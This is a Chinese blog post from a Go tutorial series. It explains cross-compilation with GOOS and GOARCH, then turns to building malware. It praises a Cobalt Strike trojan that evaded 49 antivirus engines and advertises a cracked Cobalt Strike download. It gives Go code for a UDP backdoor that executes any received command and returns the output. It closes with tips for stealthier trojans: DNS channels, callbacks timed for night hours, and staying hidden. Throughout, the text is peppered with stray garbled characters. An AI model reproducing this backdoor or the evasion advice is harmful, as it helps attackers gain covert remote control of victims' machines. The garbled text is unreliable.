Go入門系列(十二)編譯

目錄
一夕吻、二進(jìn)制編譯
二班缎、白帽子覺醒
三潮酒、Golang進(jìn)階

一怠缸、二進(jìn)制編譯

我們首先來明確一個(gè)問題,編譯意味著什么童擎?
脫離環(huán)境卵迂,脫離依賴運(yùn)行气破!
我們知道济锄,python也是可以編譯的暑椰,但是需要借助第三方包來完成,但是在最新的python3中兼容極差拟淮,而且對(duì)系統(tǒng)的位數(shù)架構(gòu)各種條件苛刻干茉,即使如此,依然隨時(shí)崩掉很泊,各種缺包。我丟沾谓!
Go語言的編譯需要用到build方法:

usage: go build [-o output] [-i] [build flags] [packages]

關(guān)于其跨平臺(tái)編譯委造,我們可以使用env方法查看系統(tǒng)當(dāng)前環(huán)境變量。

C:\Users\Administrator\Desktop\gotest>go env
set GO111MODULE=
set GOARCH=amd64
set GOBIN=
set GOCACHE=C:\Users\Administrator\AppData\Local\go-build
set GOENV=C:\Users\Administrator\AppData\Roaming\go\env
set GOEXE=.exe
set GOFLAGS=
set GOHOSTARCH=amd64
set GOHOSTOS=windows
set GONOPROXY=
set GONOSUMDB=
set GOOS=windows
set GOPATH=C:\Users\Administrator\go
set GOPRIVATE=
set GOPROXY=https://proxy.golang.org,direct
set GOROOT=C:\Go
set GOSUMDB=sum.golang.org
set GOTMPDIR=
set GOTOOLDIR=C:\Go\pkg\tool\windows_amd64
set GCCGO=gccgo
set AR=ar
set CC=gcc
set CXX=g++
set CGO_ENABLED=1
set GOMOD=
set CGO_CFLAGS=-g -O2
set CGO_CPPFLAGS=
set CGO_CXXFLAGS=-g -O2
set CGO_FFLAGS=-g -O2
set CGO_LDFLAGS=-g -O2
set PKG_CONFIG=pkg-config
set GOGCCFLAGS=-m64 -mthreads -fno-caret-diagnostics -Qunused-arguments -fmessage-length=0 -fdebug-prefix-map=C:\Users\ADMINI~1\AppData\Local\Temp\go-build723886514=/tmp/go-build -gno-record-gcc-switches

其中有兩條均驶,GOOS和GOARCH昏兆,分別代表目標(biāo)操作系統(tǒng)和目標(biāo)處理器的架構(gòu):

set GOHOSTARCH=amd64
set GOHOSTOS=windows
#操作系統(tǒng)目前支持:
darwin
freebsd
linux
windows
android
dragonfly
netbsd
openbsd
plan9
solaris
#GOARCH目前支持:
arm
arm64
386
amd64
ppc64
ppc64le
mips64
mips64le
s390x

我們只需要控制這兩個(gè)參數(shù),即可實(shí)現(xiàn)定制編譯妇穴。
比如我們像在“某著名”的Linux系統(tǒng)ParrotSec上運(yùn)行我們的程序爬虱,但我們并不打算安裝golang的運(yùn)行環(huán)境。
我們查看下目標(biāo)系統(tǒng)的架構(gòu):

我們以上一章寫的小爬蟲為例:

set GOARCH=amd64
set GOOS=linux
go build -o icu icu.go

我們可以看到腾它,完美運(yùn)行跑筝!順便提一句,此次環(huán)境變量變更僅對(duì)當(dāng)前窗口有效瞒滴,請(qǐng)放心食用曲梗。

Go語言的生成就不必說了赞警,最無腦的,直接build就可以了虏两。

最后再說一點(diǎn)愧旦,借助IDE build會(huì)更加方便:

二、白帽子覺醒

好啦定罢,接下來開始提及彩蛋了笤虫,先說一個(gè)我最早接觸Go語言的初衷,去年十一月的一張截圖:

virscan 49項(xiàng)殺軟靜態(tài)檢測通關(guān)祖凫,對(duì)的琼蚯,這是一個(gè)Cobalt Strike的木馬,因?yàn)間o語言目前確實(shí)也算個(gè)偏冷門的語言蝙场,其編譯方式似乎并不為各大殺軟廠商關(guān)注凌停。好啦,說的有點(diǎn)多了售滤,其實(shí)沒必要放出具體的實(shí)現(xiàn)方式罚拟,公開的第二天肯定會(huì)被正則收錄,大家可以把免殺思想向這邊靠攏完箩。

順便一提赐俗,最新的cs4.0無后門漢化完美破解版已經(jīng)被上傳到TideSec官方公眾號(hào)的后臺(tái)了,關(guān)注回復(fù)cs即可下載弊知,唉阻逮,真香。
然而秩彤,接下來我們想玩的方向叔扼,并不打算依賴CS,因?yàn)槲覀冴P(guān)注的東西亦是廠商所關(guān)注的漫雷,在功能需求并不高的情況下瓜富,我們完全可以自行定制我們的木馬。而且降盹,不要忘了与柑,cs木馬可不支持Linux。
雖然篇幅有限蓄坏,但我們?nèi)匀粐L試下在Window平臺(tái)做個(gè)小小的mua~
命令執(zhí)行借助os/exec包完成价捧,執(zhí)行命令可以使用Run() 或者Start() 方法,其中Run是阻塞的執(zhí)行涡戳,Start() 是非阻塞的執(zhí)行结蟋,這里作為舉例,我們僅嘗試實(shí)現(xiàn)簡單的系統(tǒng)命令(也是為了限制用途妹蔽,2333)椎眯。
我們選用網(wǎng)絡(luò)編程章節(jié)的樣例挠将,做一個(gè)小小的UDP木馬,僅實(shí)現(xiàn)簡單的命令執(zhí)行编整,不做任何免殺處理舔稀,可以看到代碼區(qū)別,僅增加了個(gè)runcmd()方法,當(dāng)然了掌测,作為一個(gè)木馬我們不需要他做輸出内贮,但為了展示直觀,我們保留輸出語句:

func main() {
    udpAddr, _ := net.ResolveUDPAddr("udp", "127.0.0.1:8000")
    listener, err := net.ListenUDP("udp", udpAddr)
    checkErr(err)
    fmt.Println("Start listening ... ")
    defer listener.Close()
    task(listener)
}

func task(conn *net.UDPConn)  {
    defer conn.Close()
    buf := make([ ]byte, 2048)
    for{
        n, addr, err := conn.ReadFromUDP(buf)
        checkErr(err)
        fmt.Printf("read buf = %s\n", string(buf[:n]))
        go func(){
            response:=runcmd(string(buf[:n]))
            conn.WriteToUDP([]byte(response),addr)
        }()
    }
}

func runcmd(command string)string{
    cmd := exec.Command(command)
    buf, _ := cmd.Output()
    return string(buf)
}

然后汞斧,我們嘗試模擬木馬命令執(zhí)行功能:

一個(gè)簡單的木馬就做好了~就這夜郁??粘勒?當(dāng)然功能還差很多竞端,字符編碼、反向連接庙睡、異常處理事富、系統(tǒng)命令完整支持、常用功能封裝函數(shù)化等等等等乘陪,我們放到后面慢慢來统台。

順便瞅一眼靜態(tài)免殺情況,emmmm啡邑,可能功能太少了贱勃,殺軟暫時(shí)看不在眼里,后期我們慢慢增加功能再來測試谤逼。ok贵扰,一個(gè)只具備簡單命令執(zhí)行的UDP小馬就到這里了!

一個(gè)優(yōu)秀的木馬應(yīng)該具備什么功能流部?也是我們以后研究的方向拔鹰,知彼知己百戰(zhàn)不殆。
這里分享幾點(diǎn)冷門見解:
1贵涵、協(xié)議,dns>udp>tcp,dns馬這里沒涉及恰画,我們后期嘗試宾茂。
2、特定時(shí)段上線拴还,比如凌晨兩點(diǎn)到三點(diǎn)跨晴,打開連接,其他時(shí)間后臺(tái)隱匿片林。
3端盆、功能沒必要全怀骤,尤其是小馬,定位明確-穩(wěn)定會(huì)話焕妙,功能與風(fēng)險(xiǎn)共存蒋伦,不論攻防。

三焚鹊、Golang進(jìn)階

如你所見痕届,Golang的入門教程就到這里了,我省略了很多東西末患,切片的高階應(yīng)用研叫、接口的多層嵌套、反射等等等等璧针,但是我也加入了很多常見的書籍中沒有的內(nèi)容嚷炉,數(shù)據(jù)庫編程、socket編程探橱、web編程等申屹,目標(biāo)其實(shí)很明確,這個(gè)系列面向的對(duì)象是需要短時(shí)間可以掌握一門編程語言的人走搁,我涉獵了很多方向独柑,卻沒有牽扯太多細(xì)節(jié)。
因?yàn)樽罱诩掖龢I(yè)私植,學(xué)習(xí)Golang一共用了8天左右忌栅,每天從中午到凌晨,(為什么是中午曲稼?索绪??起不來贫悄。瑞驱。。)窄坦,因?yàn)橛袕?qiáng)迫癥唤反,我在很多細(xì)節(jié)方面浪費(fèi)了很多沒意義的時(shí)間,我想說的是鸭津,在教程開始我就說了彤侍,兩周時(shí)間,某主播直播教學(xué)逆趋,零基礎(chǔ)學(xué)Golang盏阶,完全可行!車闻书!上它名斟!

接下來脑慧,與其說Go語言學(xué)習(xí)的結(jié)束,倒不如說Go入坑的開始砰盐。主要安排分為兩個(gè)方向:
一闷袒、滲透工具包:致敬K8gege,我最仰慕的大佬之一楞卡,模仿ladon的功能霜运,加入自己的需求希望可以推出一款穩(wěn)定的內(nèi)網(wǎng)滲透工具包,當(dāng)然周期可能較長蒋腮,所以可能分模塊慢慢來淘捡。
二、定制木馬:木馬定制一直都是土豪專屬池摧,據(jù)我所知焦除,圈內(nèi)的行情木馬價(jià)格10-*0w不等,友情價(jià)小馬2-*w不等作彤,當(dāng)然我們有時(shí)候沒必要取值過一個(gè)功能全面的大馬膘魄,一個(gè)會(huì)話穩(wěn)定支持upload/rce功能的小馬即可。而且再多說一句竭讳,又有多少人接觸過Linux木馬创葡,Golang跨平臺(tái)穩(wěn)定的二進(jìn)制編譯,我認(rèn)為再適合不過了绢慢。

emmm灿渴,這部分內(nèi)容只代表個(gè)人的一點(diǎn)行業(yè)見解,如有瑕疵還請(qǐng)各位大佬海涵胰舆,另外接下來的學(xué)習(xí)也歡迎大家參與討論骚露!

什么?途徑缚窿?ParrotSec中文社區(qū)歡迎您棘幸!https://parrotsec-cn.org
Web、挖掘機(jī)倦零、開發(fā)误续、Linux、烹飪扫茅、CTF女嘲、逆向、iot诞帐、女裝,你喜歡的爆雹,我們都有停蕉!

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末愕鼓,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子慧起,更是在濱河造成了極大的恐慌菇晃,老刑警劉巖,帶你破解...
    沈念sama閱讀 211,817評(píng)論 6 492
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件蚓挤,死亡現(xiàn)場離奇詭異磺送,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)灿意,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,329評(píng)論 3 385
  • 文/潘曉璐 我一進(jìn)店門估灿,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人缤剧,你說我怎么就攤上這事馅袁。” “怎么了荒辕?”我有些...
    開封第一講書人閱讀 157,354評(píng)論 0 348
  • 文/不壞的土叔 我叫張陵汗销,是天一觀的道長。 經(jīng)常有香客問我抵窒,道長弛针,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 56,498評(píng)論 1 284
  • 正文 為了忘掉前任李皇,我火速辦了婚禮削茁,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘疙赠。我一直安慰自己付材,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,600評(píng)論 6 386
  • 文/花漫 我一把揭開白布圃阳。 她就那樣靜靜地躺著厌衔,像睡著了一般。 火紅的嫁衣襯著肌膚如雪捍岳。 梳的紋絲不亂的頭發(fā)上富寿,一...
    開封第一講書人閱讀 49,829評(píng)論 1 290
  • 那天,我揣著相機(jī)與錄音锣夹,去河邊找鬼页徐。 笑死,一個(gè)胖子當(dāng)著我的面吹牛银萍,可吹牛的內(nèi)容都是我干的变勇。 我是一名探鬼主播,決...
    沈念sama閱讀 38,979評(píng)論 3 408
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼搀绣!你這毒婦竟也來了飞袋?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 37,722評(píng)論 0 266
  • 序言:老撾萬榮一對(duì)情侶失蹤链患,失蹤者是張志新(化名)和其女友劉穎巧鸭,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體麻捻,經(jīng)...
    沈念sama閱讀 44,189評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡纲仍,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,519評(píng)論 2 327
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了贸毕。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片郑叠。...
    茶點(diǎn)故事閱讀 38,654評(píng)論 1 340
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖崖咨,靈堂內(nèi)的尸體忽然破棺而出锻拘,到底是詐尸還是另有隱情,我是刑警寧澤击蹲,帶...
    沈念sama閱讀 34,329評(píng)論 4 330
  • 正文 年R本政府宣布署拟,位于F島的核電站,受9級(jí)特大地震影響歌豺,放射性物質(zhì)發(fā)生泄漏推穷。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,940評(píng)論 3 313
  • 文/蒙蒙 一类咧、第九天 我趴在偏房一處隱蔽的房頂上張望馒铃。 院中可真熱鬧,春花似錦痕惋、人聲如沸区宇。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,762評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽议谷。三九已至,卻和暖如春堕虹,著一層夾襖步出監(jiān)牢的瞬間卧晓,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,993評(píng)論 1 266
  • 我被黑心中介騙來泰國打工赴捞, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留逼裆,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,382評(píng)論 2 360
  • 正文 我出身青樓赦政,卻偏偏與公主長得像胜宇,于是被迫代替她去往敵國和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,543評(píng)論 2 349